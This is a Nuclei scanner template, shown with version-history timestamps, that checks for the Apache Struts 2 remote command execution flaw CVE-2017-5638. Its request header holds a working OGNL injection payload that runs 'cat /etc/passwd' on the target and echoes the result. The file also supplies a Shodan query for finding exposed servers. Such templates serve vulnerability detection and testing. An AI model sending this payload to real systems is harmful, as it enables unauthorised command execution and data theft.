nuclei-templates/cves/2017/CVE-2017-5638.yaml

40 lines
1.6 KiB
YAML
Raw Normal View History

2021-01-02 05:02:50 +00:00
id: CVE-2017-5638
2020-08-19 13:13:31 +00:00
info:
name: Apache Struts 2 - Remote Command Execution
author: Random_Robbie
2020-08-19 13:13:31 +00:00
severity: critical
2023-01-20 08:05:18 +00:00
description: |
Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
reference:
- https://github.com/mazen160/struts-pwn
- https://isc.sans.edu/diary/22169
- https://github.com/rapid7/metasploit-framework/issues/8064
2023-01-20 08:05:18 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-5638
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2017-5638
cwe-id: CWE-20
2023-01-20 08:05:18 +00:00
metadata:
shodan-query: html:"Apache Struts"
verified: "true"
2023-01-20 08:05:18 +00:00
tags: cve,cve2017,apache,kev,msf,struts,rce
2020-08-19 13:13:31 +00:00
requests:
- raw:
2023-01-20 08:05:18 +00:00
- |
GET / HTTP/1.1
Host: {{Hostname}}
2023-01-20 08:05:18 +00:00
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
2020-08-19 13:13:31 +00:00
2023-01-19 23:48:33 +00:00
matchers-condition: and
2020-08-19 13:13:31 +00:00
matchers:
2023-01-19 23:48:33 +00:00
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200